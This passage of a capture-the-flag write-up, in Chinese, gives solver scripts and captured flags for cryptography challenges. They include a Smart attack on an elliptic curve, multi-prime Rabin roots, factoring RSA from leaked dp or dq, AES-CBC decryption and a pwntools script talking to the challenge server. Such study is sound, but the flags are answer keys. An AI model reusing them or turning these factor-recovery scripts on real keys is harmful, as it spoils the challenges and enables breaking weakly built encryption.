phi = (p - 1) * (q - 1) * (s - 1) * (r - 1)
e = 65537
d = pow(e, -1, phi)


m = pow(c, d, N)

flag = long_to_bytes(m)
print("Flag:", flag.decode())

flag

1
syc{we1c0me_t190_ge1k_your_code_is_v1ey_de1psrc!}

Caesar Slot Machine

解题记录

这就是个大号的pwn签到题,只需要解 current = x % P current = (a * current + b) % P current == (x % P)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import math
from pwn import *
io = remote('geek.ctfplus.cn',31768)

for i in range (30):
    line = io.recvuntil(b':').decode()
    print("DBG:",line)
    a = int(io.recvuntil(b':').decode()[0:10].replace(" ",""))
    print("DBG:",a)
    b = int(io.recvuntil(b':').decode()[0:10].replace(" ",""))
    print("DBG:",b)

    def solve_mod_equation(P, a, b):
        if a == 1:
            if b % P == 0:
                return list(range(P))
            else:
                return []
        else:
            c = 1 - a
            d = math.gcd(c, P)
            if b % d != 0:
                return []
            else:
                c1 = c // d
                b1 = b // d
                P1 = P // d
                inv = pow(c1, -1, P1)
                y0 = (b1 * inv) % P1
                solutions = []
                for k in range(d):
                    y = y0 + k * P1
                    solutions.append(y)
                return solutions
    P =1000000007   
    solutions = solve_mod_equation(P, a, b)
    calcs = str(solutions[0])
    io.sendline(calcs)
    io.recvuntil(b"!\n")
io.interactive()

ez_ecc

解题记录

标准的ecc题目,直接套smart attack的模板即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *
from sage.all import *
p = 0xfba8cae6451eb4c413b60b892ee2d517dfdb17a52451776a68efa34485619411
A = 0x1ef1e93d0f9acda1b7c0172f27d28f3a7d0f2d9343513a3aac191e12f6e51123
B = 0xcad65954bbe0fb8f2f9c22b5cae1aa42306fd58e8394652818e781e5f808e17a
E = EllipticCurve(GF(p),[A,B])
P = E(0x708c0cf66f132122f3fcd1f75c6f22d4a90d34650dd81fb3a57b75dad98d35e7,0xcfb017daf37cbba3c6a5c6e7c4327692595c16b47e4bfa1ad400bffe5b500fba)
Q = E(97490713033364940809544067604441149095210096571946998449251275861394744757515,32198694245056943922016695558131047889851279706531342583322750112905104448879)

def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)

flag = SmartAttack(P, Q, p)
print(long_to_bytes(flag))

flag

1
SYC{@n()ma1ou$_cu2ves_r!sky}

pem

解题记录

key.pem和enc都有,直接解RSA

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, PKCS1_v1_5
from Crypto.Util.number import long_to_bytes, bytes_to_long
import base64

with open('key.pem', 'r') as f:
    private_key = RSA.import_key(f.read())
with open('enc', 'rb') as f:
    ciphertext = f.read()

try:
    ct_int = bytes_to_long(ciphertext)
    pt_int = pow(ct_int, private_key.d, private_key.n)
    plaintext = long_to_bytes(pt_int)
    print(f"flag: {plaintext.decode('utf-8', errors='ignore')}")
except Exception as e:
    print(f"error: {e}")

flag

1
SYC{PEM_1s_n0t_only_S5l}

baby_rabin

解题记录

直接用factordb分解p,q,直接解m

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import gmpy2
from Crypto.Util.number import long_to_bytes
import itertools

def find_8th_roots_mod_prime(c, p):
    roots = []
    r1 = gmpy2.powmod(c, (p + 1) // 4, p)
    roots.extend([r1, p - r1])
    fourth_roots = []
    for root in roots:
        fr = gmpy2.powmod(root, (p + 1) // 4, p)
        fourth_roots.extend([fr, p - fr])
    eighth_roots = []
    for root in fourth_roots:
        er = gmpy2.powmod(root, (p + 1) // 4, p)
        eighth_roots.extend([er, p - er])
    
    return list(set(eighth_roots))

def crt(remainders, moduli):
    total = 0
    prod = 1
    for m in moduli:
        prod *= m
    
    for r_i, m_i in zip(remainders, moduli):
        p = prod // m_i
        total += r_i * gmpy2.invert(p, m_i) * p
    return total % prod

def main():
    C=451731346880007131332999430306985234187530419447859396067624968918101700861978676040615622417464916959678829732066195225132545956101693588984833424213755513877236702139360270137668415610295492436471366218119012903840729628449361663941761372974624789549775182866112541811446267811259781269568865266459437049508062916974638523947634702667929562107001830919422408810565410106056693018550877651160930860996772712877149329227066558481842344525735406568814917991752005
    n=491917847075013900815069309520768928274976990404751846981543204333198666419468384809286945880906855848713238459489821614928060098982194326560178675579884014989600009897895019721278191710357177079087876324831068589971763176646200619528739550876421709762258644696629617862167991346900122049024287039400659899610706153110527311944790794239992462632602379626260229348762760395449238458507745619804388510205772573967935937419407673995019892908904432789586779953769907
    hint=66035251530240295423188999524554429498804416520951289016547753908652377333150838269168825344004730830028024338415783274479674378412532765763584271087554367024433779628323692638506285635583547190049386810983085033061336995321777237180762044362497604095831885258146390576684671783882528186837336673907983527353
    p = 8126207696720549329082137712377866763714498107449360320398058077477163232178648217462900996288494410540148868460607029478677856276076857845820034721107771
    q = 8126207696720549329082137712377866763714498107449360320398058077477163232178648217462900996290101348584407858736148991571019018878599060839602827556409243
    
    r = n // hint
    assert p % 4 == 3 and q % 4 == 3 and r % 4 == 3
    roots_p = find_8th_roots_mod_prime(C, p)
    roots_q = find_8th_roots_mod_prime(C, q) 
    roots_r = find_8th_roots_mod_prime(C, r)
    moduli = [p, q, r]
    found_flag = False
    total_combinations = len(roots_p) * len(roots_q) * len(roots_r)   
    for i, (rp, rq, rr) in enumerate(itertools.product(roots_p, roots_q, roots_r)):
        solution = crt([rp, rq, rr], moduli)
        try:
            candidate = long_to_bytes(solution)
            if b'flag' in candidate or b'ctf' in candidate.lower() or b'{' in candidate:
                print(f"flag: {candidate}")
                break
        except:
            pass
if __name__ == "__main__":
    main()

xor_revenge

解题记录

检查返回的n的因数只检查是否与n取余为0,直接把n发回去两次就行了

flag

1
SYC{hahaha_th1_factor_is_N0t_ha16}

dp_spill

解题记录

选择一个小底数𝑎计算A=a^e%n,a^−1%n 对 d_p 从 1 到 2^BITS - 1 计算x = (A^d_p*a^-1)%n g = gcd(x-1,n) 如果1<g<n,得到银因子p=g,q=n/p停止 然后p+q,计算sha256(p+q)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

n = 59802493250926859707985963604065644706006753432029457979480870189591634515944547801582044132550574140049396756158974108666587177618882259807156459782125677704143102175791607852135852403246382056816004306499712131698646815738798243056590111291799398438023345030391834782966046976995917844819454047154287312391
e = 55212884840887233646138079973875295799093171847359460085387084716906818593689341421818829383370282800231404248386041253598996862719171485530961860941585382910224531768283026267484780257269526617362183903996384696040145787076592207619279689647074176697837752679360230601598541884491676076657287130000027117241

from Crypto.Util.number import GCD
import hashlib
import sys

BITS = 20

def try_recover_factor(n, e, BITS, bases=(2,3,5,7,11)):
    for a in bases:
        if GCD(a, n) != 1:
            g = GCD(a, n)
            if 1 < g < n:
                return (g, n//g, a, None)
            continue

        A = pow(a, e, n)
        try:
            inv_a = pow(a, -1, n)
        except ValueError:
            continue

        for d_p in range(1, 1 << BITS):
            x = (pow(A, d_p, n) * inv_a) % n
            g = GCD(x - 1, n)
            if 1 < g < n:
                p = g
                q = n // g
                return (p, q, a, d_p)
    return None

def main():
    res = try_recover_factor(n, e, BITS, bases=(2,3,5,7,11,13,17))
    p, q, base_used, d_p_found = res
    s = str(p + q).encode()
    flag_hash = hashlib.sha256(s).hexdigest()
    print("Flag: SYC{" + flag_hash + "}")

if __name__ == "__main__":
    main()

flag

1
SYC{644684707c540998d760975fb98a816a469ec567abe5c8004164d3ce887c6a8e}

Disclose

解题记录

dq = d % (q - 1),d * e % ((p-1)(q-1)) == 1 所以d * e % (q-1) == 1 又因为dq = d % (q-1) 所以edq = 1 + k*(q-1) 取任意不被 p 或 q 整除的整数 a,例如 3,5,7,…,就能得到:a**(edq) % q == a % q 代入a**(edq) = a**(1 + k*(q-1)) = a * (a**(q-1))k 根据费马小定理a(q-1) % q == 1 因此最终a**(edq) % q == a % q 于是(a**(edq) - a) % q == 0 所以gcd(a**(e*dq) - a, n) == q

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from math import gcd
from Crypto.Util.number import *
n = 259787328713315620669972878133037988076215916550647711246939676477326421129812013679655754313165138535008411950313861029496051740521361999159396760989834909603081600363947357112748647883977394670486758972444444439142111569713941555128481912069206288996136103241520037293009874925975282333163541887307464845637591763227092634236013041271880254215362783937683868306313993128035189967091568339765295122704805004687960409586156492514826705669219883130894837499370163894909020869677997529751680238466436501721265413943262568271164547660870177889287883337700613985620882071517309593058133486504491987638053802704885406321489   
dq = 22499014253625008930376465290523079246236903672491529428949946205185543555249003236181305161565081242391920797396454563137397269152501398025721057979839815010145158362677658875505461725215023623199075647605873076372373127281663691994250233620145698675916320588215123270286378681617192723590595528629007323619
c = 6370053764427872753918916672520952591890815345305784661535167250636567614044442456829951926201367031691890397266551896051506485503559355632977037940932465451673402461276283344898143212429679842407935863578100874434864110951261893629193556575965754852130079804129027545776519410420168588918897574771225807265360467679437166130735732969205196853246138265462918730868587864117597334192701298070798102481475959547503973860672351511772559847970384102048811464809463784622382282732625019306431797575127684452390281458642683831354534593808201093823305835131373576894519989150022396180064841804679779794213399320560860722616    
e_high = 1217218333594918008784773594710739821599287411350951048190189539176815103546142818696781454251773183601401149085966947779641557137128602392
e=e_high//8
for a in [3,5,7,9,11]:
    A=pow(a,e*dq,n)
    q=gcd(A-a,n)
p=n//q
d=pow(e,-1,p-1)
flag=pow(c,d,p)
print(long_to_bytes(flag))

easy_RSA?

解题记录

由于文件给出了c_inner=c-inner可以恢复RSA密文c=c_inner+inner 文件还给出了p_m=p-m因此p=p_m+m。m是那个线性表达式中的整数,因此只要尝试若干小的 m 值,若 p_m + m 恰好整除 n,就可恢复 p(从而因式分解 n)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import long_to_bytes

S =  (34790, 60770, 29429, 54388, 22694, 50136, 13438, 7932, 46652, 9362, 44118, 48359, 50067, 29997, 63366, 36090, 7514, 16382, 24912, 369, 9261, 30671, 30689, 61154, 50897, 58137, 14927, 51518, 5782, 3971, 63594, 41078, 31477, 56610, 56084, 29542, 32843, 22096, 824, 52492, 33817, 24167, 38907, 48871, 24302, 62133, 60210, 7525, 55963, 48512, 16729, 26176, 37224, 14899, 11369, 38873, 41464, 30501, 23095, 21440, 14968, 36710, 15100, 50047)
A =  (16147, 54417, 37346, 48225, 25834, 16202, 9615, 504, 54090, 24475, 53598, 20375, 4188, 42949, 38644, 5471, 48340, 49202, 58598, 31600, 17902, 22273, 4272, 58982, 16813, 41775, 46368, 20609, 4350, 16271, 14783, 21900, 63534, 6337, 38858, 35731, 39772, 52248, 38217, 48935, 1408, 50145, 24808, 4117, 12887, 13498, 27429, 61700, 47565, 44896, 50703, 64168, 27170, 31129, 5620, 63168, 45776, 13144, 23963, 25446, 60607, 17509, 34818, 1875)
b =  2764
p_m= 12332486510964011158671675941288876941680648099414795378886378613845684830972446231876321910330241399720401327967071598143881618549530749656312652927809332
e = 65537
c_inner = 83399431472999194690216705615169036306463958887795007046559917542746213139295638450504799784590430551922090084967974615725328386260579470125560123552483026894270772816722527064675899017519890685144620455393788325407207242732361884830126228889169785202880542117272251300802452717688849566335597550131883378114
n = 122559396923126188518673248748225863862082328215893788075556473340278133079967721064738539949068231864208941120351781811847301797522502385475722537534223195433223265299092527494031447238530457784670684950341075860748519372286474800355858313799189011550620881300518596006433001049004445597176250937388576661809
Q = 17609948494254197001867062519311260077211984293151667548900416829700969294407535620672384674573058455384106178087491089816127503299076697261227000724815039612665504495756229918248399034320834393598470026243543589231473237419452687730543063603595465136115669723541948895463396554918071128531213060909364601656950027389056898604223267691455263897256898136680792549706073818306730228357683709696946839634919997675816794970587698373035672596923359143664093017904285058387254576603859313018778309521049338455162936103498885466949142273058671319832535869174839812056921940398538003527621201520818008358558845582594247420459
P = 20652887190957239284631175340003902315126211938181093064207269195242550094032224965692251651673103425027250767184928851917797759012986735534298162794316194395592379533545344962294078494289760237724601340062723352085300184175255877738749851041498543752865574186669040985787587644798823596547499014922063118523650392438320527012937021768573183057529502842126637960161988353588863260221824429222676866093636690824910541149705709054550563060623762529654624849373383560043169934394338959338517866931347066483777887082048559999731906556171653815355183514550470420842104873391074567329742472001229790402635829640092130822763
q1 = 65537
inner = sum(a*s for a, s in zip(A, S)) % q1

c = c_inner + inner
p = None
m_found = None

for m in range(2_000_000):
    p_cand = p_m + m
    if n % p_cand == 0:
        p = p_cand
        q = n // p
        m_found = m
        print("[+] Found! m =", m)
        print("[+] p =", p)
        print("[+] q =", q)
        break
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
m_flag = pow(c, d, n)
flag = long_to_bytes(m_flag)


print("Flag:", flag.decode())

flag

1
SYC{y0u_sh0u1d_learn_a_l0t_a0bout_LLL}

S_box

是个AES,key也给了,直接nc之后复制一下数据,套模板解

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad

key1 = 18418224610639320248870372935080282239

cipher_bytes = b')\xf3<\xf3T\x18\xfd21\xa6w\xcf\x85S\x97m\x17\xab\x9f?q\x85\xc0\r\xd3\x02\n\x980\x06\xaf\xe4RX\x7fl\x18eV5\x07\xdb\x1f\x18S\x175n'
iv_bytes     = b"\n\xa4\xc7\x1d\x16\xf5\xa7\xcb\xf8\x8a\x0bK\xd7'\xa9F"

key_bytes = long_to_bytes(key1, 16)

cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
plain = unpad(cipher.decrypt(cipher_bytes), AES.block_size)
print(plain)

flag

1
SYC{SS_B0xx_I1s_ver1y_Differe1c999c}
Licensed under CC BY-NC-SA 4.0